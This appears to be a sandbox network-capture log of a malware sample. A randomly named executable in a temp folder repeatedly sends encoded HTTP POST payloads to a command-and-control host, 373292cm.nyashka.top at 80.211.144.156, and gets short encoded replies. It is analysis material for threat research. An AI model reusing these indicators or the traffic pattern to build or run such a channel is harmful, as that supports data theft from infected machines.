Aug 26, 2024 20:17:35.085171938 CEST	308	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:17:33 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 152 Connection: keep-alive Data Raw: 09 1d 26 55 29 0b 31 04 32 3b 02 19 27 55 22 52 2a 04 24 06 29 2d 29 5d 27 06 21 58 31 3e 33 0e 27 15 07 5a 3c 07 35 09 31 2f 24 05 3a 34 2b 5d 0c 13 21 01 37 14 36 5b 25 5a 30 13 3e 3b 23 5b 35 2c 3e 10 3f 03 31 18 2b 01 2c 5b 3c 2a 37 13 3f 04 22 57 2f 3b 21 5b 2e 20 08 50 34 04 2b 52 0d 11 27 0e 3f 04 21 57 2a 3e 3f 17 21 38 01 5f 33 2e 3a 55 31 0b 3e 1d 33 3a 33 02 31 31 35 57 33 08 21 56 26 3b 25 00 32 2c 29 1d 23 22 23 54 2c 00 22 57 01 33 55 56 Data Ascii: &U)12;'U"R$)-)]'!X1>3'Z<51/$:4+]!76[%Z0>;#[5,>?1+,[<7?"W/;![. P4+R'?!W*>?!8_3.:U1>3:3115W3!V&;%2,)#"#T,"W3UV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.4	49808	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:17:34.404527903 CEST	346	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Aug 26, 2024 20:17:34.758733034 CEST	2576	OUT	Data Raw: 5f 50 5c 51 54 41 54 5b 5b 5f 5a 51 59 53 58 52 57 5f 5d 5e 57 5b 53 59 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: _P\QTAT[[_ZQYSXRW_]^W[SYYY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^.X/#5[(^ 0&+>0]<9+-;"<V4V?']7*8>&F$.Y/5
Aug 26, 2024 20:17:35.071495056 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:17:35.204271078 CEST	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:17:34 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.4	49809	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:17:35.346193075 CEST	322	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2576 Expect: 100-continue
Aug 26, 2024 20:17:35.705142975 CEST	2576	OUT	Data Raw: 5a 56 5c 56 54 45 51 5e 5b 5f 5a 51 59 5e 58 51 57 5f 5d 5f 57 5d 53 54 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: ZV\VTEQ^[_ZQY^XQW_]_W]STYY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^-;##A5= \ 3>)4X>.5(?[ < "0Q(:<7!],>&F$.Y/
Aug 26, 2024 20:17:36.046855927 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:17:36.180937052 CEST	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:17:35 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.4	49810	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:17:36.410444021 CEST	322	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2576 Expect: 100-continue
Aug 26, 2024 20:17:36.759047985 CEST	2576	OUT	Data Raw: 5f 52 5c 56 54 47 51 5a 5b 5f 5a 51 59 50 58 56 57 5f 5d 59 57 5f 53 54 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: _R\VTGQZ[_ZQYPXVW_]YW_STYY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^-.0;A!43&*#<.+=,7<'P#++:'"#!_/&F$.Y/
Aug 26, 2024 20:17:37.085527897 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:17:37.214209080 CEST	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:17:36 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.4	49811	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:17:37.345350027 CEST	322	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2576 Expect: 100-continue
Aug 26, 2024 20:17:37.696470976 CEST	2576	OUT	Data Raw: 5a 55 5c 55 54 49 54 58 5b 5f 5a 51 59 52 58 57 57 5c 5d 5d 57 50 53 5b 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: ZU\UTITX[_ZQYRXWW\]]WPS[YY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^-83;E6-+#Y+=<=[+/[#Z<71$+0" ,&F$.Y/1
Aug 26, 2024 20:17:38.025415897 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:17:38.154995918 CEST	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:17:37 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.4	49812	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:17:38.275286913 CEST	346	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Aug 26, 2024 20:17:38.670624018 CEST	2576	OUT	Data Raw: 5f 5d 5c 57 54 41 51 5d 5b 5f 5a 51 59 54 58 51 57 58 5d 5a 57 58 53 54 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: _]\WTAQ][_ZQYTXQWX]ZWXSTYY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^..#;">(_ =$]<%_+=+X44"0(:< V&..&F$.Y/)
Aug 26, 2024 20:17:38.941024065 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:17:39.078053951 CEST	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:17:37 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.4	49813	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:17:39.235373020 CEST	346	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Aug 26, 2024 20:17:39.586891890 CEST	2576	OUT	Data Raw: 5f 5d 59 54 54 48 54 5b 5b 5f 5a 51 59 55 58 50 57 5d 5d 5b 57 5f 53 5b 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: _]YTTHT[[_ZQYUXPW]][W_S[YY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^./+E5[8\4Y=0<-!_?]#<7?8 36/.&F$.Y/-
Aug 26, 2024 20:17:39.917052984 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:17:40.046350956 CEST	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:17:38 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.4	49814	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:17:40.093009949 CEST	346	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2060 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.4	49815	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:17:40.166428089 CEST	346	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Aug 26, 2024 20:17:40.524533033 CEST	2576	OUT	Data Raw: 5f 52 5c 56 54 47 54 50 5b 5f 5a 51 59 55 58 55 57 50 5d 5a 57 5a 53 59 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: _R\VTGTP[_ZQYUXUWP]ZWZSYYY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^.]/#;54"#:=+-*<;#<+P "#+?40,.&F$.Y/-
Aug 26, 2024 20:17:40.830935001 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:17:41.032706976 CEST	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:17:39 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.4	49816	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:17:41.157243967 CEST	322	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2576 Expect: 100-continue
Aug 26, 2024 20:17:41.520045996 CEST	2576	OUT	Data Raw: 5f 52 5c 51 54 48 51 5a 5b 5f 5a 51 59 5f 58 5f 57 5a 5d 52 57 5f 53 5f 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: _R\QTHQZ[_ZQY_X_WZ]RW_S_YY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^._; /@54)-3<=)](7[4+#!/+:?\ ,.&F$.Y/
Aug 26, 2024 20:17:41.818733931 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:17:41.948697090 CEST	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:17:40 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.4	49817	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:17:42.250149965 CEST	322	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2576 Expect: 100-continue
Aug 26, 2024 20:17:42.602504969 CEST	2576	OUT	Data Raw: 5f 53 5c 55 54 43 51 5c 5b 5f 5a 51 59 50 58 54 57 59 5d 53 57 50 53 5d 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: _S\UTCQ\[_ZQYPXTWY]SWPS]YY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^.8#-( ><Y+"([?X##V#8W(;X !Y8&F$.Y/
Aug 26, 2024 20:17:42.922514915 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:17:43.052552938 CEST	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:17:41 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.4	49818	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:17:43.189445972 CEST	322	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2576 Expect: 100-continue
Aug 26, 2024 20:17:43.540049076 CEST	2576	OUT	Data Raw: 5a 57 59 57 51 44 54 5d 5b 5f 5a 51 59 5f 58 55 57 5c 5d 5e 57 5e 53 5e 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: ZWYWQDT][_ZQY_XUW\]^W^S^YY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^.^/3A6=$X40)-4X?9(-\7<#4! Q+043!X,>&F$.Y/
Aug 26, 2024 20:17:43.872859001 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:17:44.004534006 CEST	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:17:42 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.4	49819	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:17:44.137070894 CEST	346	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Aug 26, 2024 20:17:44.528832912 CEST	2576	OUT	Data Raw: 5f 57 5c 56 54 44 51 59 5b 5f 5a 51 59 52 58 56 57 5b 5d 5c 57 51 53 5a 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: _W\VTDQY[_ZQYRXVW[]\WQSZYY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^.^8U8"-#Z=[0]?>9+=?Y471+)74",&F$.Y/1
Aug 26, 2024 20:17:44.799642086 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:17:44.931914091 CEST	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:17:43 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.4	49820	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:17:45.075555086 CEST	346	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.4	49821	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:17:45.171123981 CEST	346	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2036 Expect: 100-continue Connection: Keep-Alive
Aug 26, 2024 20:17:45.524450064 CEST	2036	OUT	Data Raw: 5a 51 59 52 51 40 54 5f 5b 5f 5a 51 59 52 58 56 57 5a 5d 53 57 59 53 58 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: ZQYRQ@T_[_ZQYRXVWZ]SWYSXYY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^.X. '!># #>>=,X>-*(/ <3Q ($"0,&F$.Y/1
Aug 26, 2024 20:17:45.869498014 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:17:46.002053022 CEST	308	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:17:44 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 152 Connection: keep-alive Data Raw: 09 1d 26 57 3d 25 3e 1f 26 5d 33 0d 24 23 2a 10 3d 3d 3f 59 2b 3d 08 06 25 28 36 06 25 2e 2b 09 27 02 2e 04 3c 07 35 0e 26 11 01 58 2c 24 2b 5d 0c 13 22 5f 34 29 39 03 26 05 28 10 2a 06 3c 03 22 3f 29 02 29 3a 22 09 3c 2f 24 59 3c 07 0d 11 3f 29 32 1c 2f 16 0b 17 3a 30 26 13 20 3e 2b 52 0d 11 24 54 28 13 03 10 2a 3e 1a 04 22 16 3c 00 24 2e 3d 0d 26 0c 31 0b 24 29 05 01 31 1c 13 54 25 22 25 55 24 28 2e 11 25 59 3d 1d 22 22 23 54 2c 00 22 57 01 33 55 56 Data Ascii: &W=%>&]3$#==?Y+=%(6%.+'.<5&X,$+]"_4)9&(<"?)):"</$Y<?)2/:0& >+R$T(*>"<$.=&1$)1T%"%U$(.%Y=""#T,"W3UV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.4	49822	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:17:45.291903019 CEST	346	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2568 Expect: 100-continue Connection: Keep-Alive
Aug 26, 2024 20:17:45.649477005 CEST	2568	OUT	Data Raw: 5f 53 59 50 51 42 54 5c 5b 5f 5a 51 59 57 58 55 57 59 5d 53 57 5d 53 5f 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: _SYPQBT\[_ZQYWXUWY]SW]S_YY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^.],B5? #5)3(5[<-;[",(#W$W('^7#%^/.&F$.Y/-
Aug 26, 2024 20:17:45.989027023 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:17:46.121989965 CEST	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:17:44 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

